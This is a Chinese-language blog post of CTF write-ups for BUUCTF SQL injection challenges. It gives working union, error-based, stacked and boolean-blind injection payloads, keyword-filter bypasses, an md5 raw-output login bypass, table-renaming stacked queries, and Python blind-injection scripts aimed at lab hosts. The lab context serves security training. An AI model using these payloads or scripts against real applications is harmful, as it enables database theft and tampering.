• BUUCTF-SQL注入


    [极客大挑战 2019]EasySQL

    考点:sql注入-万能密码

    [极客大挑战 2019]LoveSQL

    考点:union联合注入

    解题

    1、用万能密码就登进去了
    2、用admin和fc04b11f3d0602213859e9c721e53116登进去还是一样的
    3、order by查出3个字段
    4、爆当前库名:

    ' union select 1,1,database() #
    

    ->库名:geek
    5、爆表名:

    ' union select 1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='geek' #
    


    ->根据题目,表名应该就是l0ve1ysq1
    6、查询所有的字段名:

    ' union select 1,1,group_concat(distinct column_name) from information_schema.columns where table_name='l0ve1ysq1' #
    


    ->id,username,password
    7、

    ' union select 1,1,group_concat(password) from l0ve1ysq1 #
    

    [极客大挑战 2019]BabySQL

    考点:union联合注入

    解题

    1、用万能密码登陆,回显过滤了or ,双写绕过:

    ' oorr 1=1 #
    

    2、用order by查出3个字段

    ' oorrder bbyy 1 #
    

    3、爆当前库名:(回显union和select都被过滤,双写绕过)

    ' ununionion seselectlect 1,1,database() #
    


    ->库名:geek
    4、爆表名:(回显from、where被过滤)
    注意information里的or

    ' ununionion seselectlect 1,1,group_concat(distinct table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #
    


    ->表名:b4bsql,geekuser,有2个,肯定是b4bsql
    5、爆字段:

    ' ununionion seselectlect 1,1,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #
    

    ->id,username,password
    6、

    ' ununionion seselectlect 1,1,group_concat(passwoorrd) frfromom b4bsql #
    


    BabySql过滤了or,union,select,from等关键字,看回显缺什么再写一遍就行了,其它和上一关LoveSql一样。

    [极客大挑战 2019]HardSQL

    考点:报错注入

    解题

    1、打开bp fuzz,union|order by|等号|空格|substr等被过滤
    2、爆当前的数据库名:
    空格绕过:用括号()包起来就行

    'or(extractvalue(1,concat('~',database())))#
    

    用updatexml()函数是一样的:

    'or(updatexml(1,concat('~',database()),1))#
    


    ->库名:geek
    3、爆表名:
    等号绕过:用like替换

    'or(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")))))#
    


    ->表名:H4rDsq1
    4、爆字段名:

    'or(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#
    


    ->字段:id,username,password
    5、

    'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#
    


    flag{f5629ada-833f-4eb8-a6f2-49
    没出全,因为extractvalue和updatexml()都有最长32的长度限制
    这时候就要想到mysql的一些函数,substr,left,right

    • substr(字符串,起始位置,截取长度)
    • left(字符串,截取长度)#从左往右截取*
    • right(字符串,截取长度)#从右往左截取*

    注意:substr被过滤了

    'or(extractvalue(1,concat('~',(select(right(password,20))from(H4rDsq1)))))#
    

    BUUCTF-[强网杯 2019]随便注

    考点:堆叠注入
    换表

    解题

    1、网页标题是easy_sql

    输入1、2有回显,其余都无查询结果
    单引号字符型注入
    2、order by判段出2列
    3、爆库名:

    1' union select 1,group_concat(schema_name) from information_schema.schemata%23
    


    过滤了select|update|delete|drop|insert|where|.关键字
    4、看师傅们的wp,这里用堆叠注入
    查询所有表:

    ?inject=';show tables;%23
    


    ->表名:1919810931114514和words
    查询第一个表1919810931114514中的列:

    ?inject=';show columns from `1919810931114514`;%23
    

    (本地测试了一下,表名如果是数字,表名要加反单引号

    ->1919810931114514表的列名:flag
    查数据:

    ?inject=';show flag from `1919810931114514`;%23
    

    没结果。。。

    查询第2个表words的列:

    ?inject=';show columns from words;%23
    

    ->words表有2个列:id、data
    根据一开始输入1,查询出的结果是一个数字和一个字符串,而words表结构是id和data,判断出words是查询的表,GET传入的参数inject的值赋值给id。
    后台sql语句大概是:select id from words where id='1';

    把数字表名改成words,words表名改成words1。换了后,words1是默认查询的表,words只有flag一个字段,页面查询的是id,所以把words表的flag字段改为id(改列名时注意加上数据类型):

    ';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);%23
    

    ?inject='or '1

    笔记

    堆叠注入
    原理:在sql中,分号代表一条语句结束,但如果用分号分割,同时执行多条sql语句,就会造成堆叠注入,例如:
    select * from testtable;show databases;
    测试一下:第一条删除id为2的数据,第二条查询全部数据:

    [GYCTF2020]Blacklist

    考点:堆叠注入
    handle语句替代select查询

    解题

    1、经测试,是字符型注入
    2、查列数:
    url:

    ?inject=1' order by 1%23
    

    ->2列

    3、用union联合查询:

    ?inject=1'union select 1,2%23
    

    回显有过滤

    4、用堆叠注入,查库名:

    ?inject=1';show databases;
    

    ->库名:supersqli
    查表名:

    ?inject=1';show tables;
    


    ->表名:FlagHere、words
    先查看FlagHere中的字段:

    ?inject=1';show columns from FlagHere;
    


    有flag字段

    再查words表中的字段:

    ?inject=1';show columns from words;
    


    有id和data两个字段

    和“[强网杯 2019]随便注”这道题类似,但是现在这题过滤了renamealter,不能换表

    学到用handler语句替代select查询

    handle官方文档
    参考:mysql查询语句-handler
    handler table_name open; #打开表table_name,声明一个名为table_name的句柄
    handler table_name read first; #获取第一行数据
    handler table_name close; #关闭打开的句柄
    payload:

    ?inject=1';
    handler FlagHere open;
    handler FlagHere read first;
    handler FlagHere close;%23
    

    BUUCTF-[GYCTF2020]Ezsqli

    考点:无information的盲注+无列名注入

    解题

    1、
    1  回显Nu1L
    2  回显V&N
    3  回显Error Occured When Fetch Result.
    1' 回显 bool(false)
    参数id处存在注入
    1 or 1=1 回显SQL Injection Checked.

    上面测试共有4种回显:

    • Nu1L或V&N           有查询结果
    • Error Occured When Fetch Result. 无查询结果
    • bool(false)            sql语法有错
    • SQL Injection Checked.      存在过滤
      2、
      输入1a,打开bp fuzz

    过滤了union|and|or|union select|if|in|information
    (本来我用id=(1)测试,一些过滤没测出来,心凉,遂请教师傅,在没有产生注入的情况下,把测试关键字插入到正确的sql语句中)

    看上面的过滤,不能用报错注入

    1^1 回显Error Occured When Fetch Result.
    1^0 回显Nu1L
    可用bool盲注

    3、通过盲注爆表:

    import requests
    
    url='http://c631cfe0-e07d-41e6-be58-60f6e4cc8f06.node3.buuoj.cn/'
    table_name=''
    for i in range(1,50):
        for j in range(40,128):
            payload = "1&&(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1)))=%d"%(i,j)
            data={'id': payload}
            r=requests.post(url,data=data)
            if 'Nu1L' in r.text:
                table_name=table_name+chr(j)
                print(table_name)
                break
    


    ->表名:f1ag_1s_h3r3_hhhhh,users233333333333333

    4、无列名注入
    先判断列数:
    union select不能用,payload:1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))

    1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))   回显bool(false) 
    1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))  回显Error Occured When Fetch Result.
    1^((select 1,2,3)>(select * from f1ag_1s_h3r3_hhhhh)) 回显bool(false) 
    

    ->2列

    通过第一个字符判断flag在哪一列:

    1^((select 'f',2)>(select * from f1ag_1s_h3r3_hhhhh))	 回显Nu1L
    1^((select 'g',2)>(select * from f1ag_1s_h3r3_hhhhh))	 回显Nu1L,和理论不一致
    1^((select 1,'f')>(select * from f1ag_1s_h3r3_hhhhh))	 回显Nu1L,一致
    1^((select 1,'g')>(select * from f1ag_1s_h3r3_hhhhh))	 回显Error Occured When Fetch Result.,一致
    

    所以flag在第2列,且第一个字符是f
    其实一般有2列的话,flag大部分都在第2列

    爆数据:

    import requests
    
    url = 'http://a8f8d1ca-23b3-4e08-88cc-bc2c636ae798.node3.buuoj.cn/'
    flag = ''
    result = ''
    for i in range(1,50):
        print(i)
        for j in range(40,127):
            result = flag+chr(j)
            payload = '1^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(result)
            data = {'id': payload}
            r = requests.post(url,data)
            if 'Error' in r.text:
                flag += chr(j-1)
                print(flag)
                break
    

    解释:
    1^((select 1,'a')>(select * from f1ag_1s_h3r3_hhhhh)) ,1^0=1,回显Nu1L

    比如第一个字符,小于等于f时,10=1,回显Nu1L;大于f时,g>f,11=0,回显Error Occured When Fetch Result.,所以要j-1,记录此时的flag

    在下次循环,对于mysql中的大于号,前面一样的,继续比较后面的

    笔记

    1、bypass information_schema:
    参考:
    https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/
    https://www.anquanke.com/post/id/193512

    • mysql.innodb_table_stats(需要mysql>=5.6) ×
    • sys.schema_auto_increment_columns ×
    • sys.nnodb_buffer_stats_by_table
    • sys.x$schema_flattened_keyss
    • sys.schema_table_statistics
    • sys.schema_table_statistics_with_buffer

    2、无列名注入
    常规获取表名是:

    payload="1&&(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d)"%(i,j)

    information_schema库被过滤时,将查询语句和列进行比较,可以查出多少列
    好像这个表里只能有1行

    参考:

    https://f4de.ink/2020/06/10/GYCTF2020-Ezsqli/
    https://www.gem-love.com/ctf/1782.html
    http://mo0n.top/2020/02/24/gyctf2020-writeup/#toc-heading-10

    [SWPU2019]Web1

    考点:bypass information、无列名注入

    解题

    1、发现在title处存在sql注入:

    打开bp,fuzz,过滤了and|or|#|%23

    1'/**/&&/**/'1'='1
    1'/**/&&/**/'1'='2
    

    是单引号字符型注入
    2、爆列数:

    0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    

    ->22列
    3、判断回显位:

    0'union/**/select/**/version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    

    回显位在2、3位
    4、union联合查询爆表名:

    0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    


    5、无列名注入

    0'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
    

    通过加减得出user表有3列。

    笔记

    无列名注入:select 字段 from 联合查询

    看到,使用union联合查询,列名p,user会被数字1,2,3代替

    select `2` from (select 1,2 union select * from t0926)a;
    


    解释:
    ①2加反单引号,表示它是列名
    aselect 1,2 union select * from t0926这个表的别名,可任意

    [极客大挑战 2019]FinalSQL

    考点:bool盲注

    解题

    1、

    页面hint了sql盲注,点击5个按钮,get传参分别为1-5
    ?id=1^0  真,返回正确
    ?id=1^1  假,返回ERROR!!!
    用bool盲注
    2、过滤了union|空格|and等等,用括号包住绕过空格

    写脚本,用二分去爆破库名,表名,列名,flag数据,1^(sql判断语句),如果页面返回正常,说明id=1,sql判断语句为假;反之如果页面返回ERROR!!!,说明id=0,sql判断语句为真
    (后面flag数据很长,所以位数i就设大了点)

    import requests
    url_ = "http://e11a9824-28ed-43c3-ad08-c4979caacc5b.node3.buuoj.cn/search.php?id="
    name = ""
    for i in range(1,1000):#i表示库名的第i位
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high :
            payload = "1^(ascii(substr(database(),%d,1))>%d)" % (i, mid)#库名爆出geek
            #payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)" % (i, mid)#表名是F1naI1y
            #payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),%d,1))>%d)" % (i, mid)#id,username,password
            #payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, mid)
            url = url_ + payload
            response = requests.get(url)
            #库名的当前字符比mdi大
            if "ERROR!!!" in response.text:
                 low = mid + 1
            #比mid小
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
    

    [CISCN2019 华北赛区 Day2 Web1]Hack World

    考点:sql注入-bool盲注

    解题

    1、打开题目:
    D4kRg0.png

    1 回显:Hello, glzjin wants a girlfriend.
    2 回显:Do you want to be my girlfriend?
    1' 回显:bool(false) 
    1^1 回显:Error Occured When Fetch Result.
    1^0 回显:Hello, glzjin wants a girlfriend.
    1 or 回显:SQL Injection Checked.
    

    测试总结共4种回显:

    • Hello...或Do you... 有查询结果
    • Error Occured When Fetch Result. 无查询结果
    • bool(false) sql语法有错
    • SQL Injection Checked.有过滤

    2、打开bp,fuzz一下,过滤了空格,用括号绕过
    3、用二分法爆破一下,脚本如下:

    import requests
    
    url = "http://e5396176-4c24-4c09-a8af-917d636cde2a.node3.buuoj.cn/index.php"
    payload = {
        "id" : ""
    }
    result = ""
    for i in range(1,100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while(low < high):
            payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)" % (i,mid)
            r = requests.post(url,data=payload)
            if "Hello" in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low + high) // 2
        if(mid == 32):
            break
        result = result + chr(mid)
        print(result)
    

    [GXYCTF2019]BabySQli

    当时比赛的题目描述:

    刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!

    考点:
    1、uesername和password分开验证
    2、md5绕过验证

    解题:

    1、打开靶机后有个username和password的登录框

    F12之后,访问search.php,base32 decode,base64 decode,得到:

    select * from user where username = '$name'
    

    只对username做了判断,所以注入点在username
    查字段数,order by查不出来,可能过滤了or,大写绕过
    fuzz后,发现or、()、=被过滤

    ' Order by 4#
    

    ' union select 1,2,3,4#
    

    ->3个字段
    猜测可能是id,uesrname,password这样
    username输入admin,返回wrong pass!,输入其他的返回wrong user!
    至于为什么输入admin对了,一般出题username最可能用admin

    参考师傅们的wp:
    https://www.gem-love.com/ctf/453.html
    https://artd33.github.io/2019/12/29/Training-MySQL-I-Training-MySQL-II/
    payload:
    username:' union select 1,'admin','4ded286ec88b56f6b0da58034f991714'#

    [BJDCTF2020]Easy MD5

    考点:bypass md5($var,true)

    解题

    打开题目是这样的:
    /leveldo4.php

    1、根据题目,直接用ffifdyop这个字符串吧

    <?php
    echo md5("ffifdyop", true);//'or'6�]��!r,��b
    

    在mysql里,字符串或变量作布尔型判断时,以数字开头的字符串会忽略数字后面的字符。例:password=‘6xxx’,结果为true。

    所以,这里相当于万能密码永真。
    2、

    /levels91.php?a[]=1&b[]=2
    3、
    /levell14.php

     <?php
    error_reporting(0);
    include "flag.php";
    
    highlight_file(__FILE__);
    
    if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
        echo $flag;
    } 
    

    POST:param1[]=1&param2[]=2
    password:Pur3

    [SUCTF 2019]EasySQL

    考点:堆叠注入、sql_mode=PIPES_AS_CONCAT

    解题

    在输入非0的数字时,都返回:

    输入其他任意非数字(除0)的,无任何回显
    有长度限制。

    打开bp fuzz测试,过滤了union|and|or|from|sleep|extractvalue|updatexml|information。
    尝试用堆叠注入
    查库名:

    查表名:

    尝试输入6,7

    再输入3,4,5

    判断出注入点在select_expr
    sql语句大概是select $_REQUEST['query'] from Flag
    学习学习
    源码中的sql语句是:

    $sql = "select ".$post['query']."||flag from Flag";
    

    预期解

    因为这里网页是php语言,所以是mysql数据库
    本地看一下这个||

    第2个字段p||2在这里,无任何意义

    在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。

    关于sql_mode的解释查看:sql-mode官方文档

    sql_mode中的PIPES_AS_CONCAT把||视为字符串的连接操作符而非或运算符,和字符串的拼接函数Concat相类似。
    payload:

    1;set sql_mode=PIPES_AS_CONCAT;select 1
    

    拼接起来是:

    $sql = "select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag";
    
    • select 1; 和后面的查询语句构成堆叠注入
    • 设置为该模式后,会select 1select flag from Flag的查询结果连接起来。
      本地测试下:
      Bxbot0.png

    非预期解

    *,0
    sql语句为:select *,0||flag from Flag,即select * from Flag

    总结

    这题遇到了注入点在select_expr的情况;还有mysql中,用sql_mode=PIPES_AS_CONCAT转化||的方法。

    [RCTF2015]EasySQL

    考点:报错注入

    解题

    1、打开题目:
    yemGgU.png
    进入/register.php
    注册登录后有修改密码的功能,有修改后台数据的地方就可能存在二次注入
    yenKMD.png
    2、再回到/register.php,测出在加双引号注册后修改密码时返回报错信息
    yeuy0H.png
    获取表名:

    Hh0" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))#
    

    弹出invalid string!,有过滤哇,用Bpfuzz一下,过滤了空格
    获取表名:

    Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#
    

    yelyxP.png
    获取列名:

    Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#
    

    ye1BeU.png
    获取数据:

    Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)))))#
    

    ye1HfA.png
    哈哈哈哈,再看别的表
    3、获取users表的列名:

    Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#
    

    ye3ipn.png
    获取数据:

    Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)))))#
    

    ye3J0O.png

    Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)))))#
    

    ye8gr6.png
    返回一堆xxx,肯定前几行的数据都是xxx,用regexp正则匹配real_flag_1s_here列中f开头的数据
    yeDQaR.png

    Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
    

    yeJ6HK.png
    mid,right函数都被过滤了,逆序一下

    Hh0"or(extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))))#
  • 相关阅读:
    chmod命令详细用法
    mysql删除sql表添加别名及删除sql的注意事项
    bootstrap栅格系统进行偏移格式
    mysql中时间计算函数SQL DATE_SUB()用法
    阿里图标的应用教程
    jquery.cookie.js中$.cookie() 使用方法
    $.cookie()取值设置
    java中年月日的加减法,年月的加减法使用
    IMAP命令与分析
    Telnet IMAP Commands Note
  • 原文地址:https://www.cnblogs.com/wrnan/p/13635873.html
Copyright © 2020-2023  润新知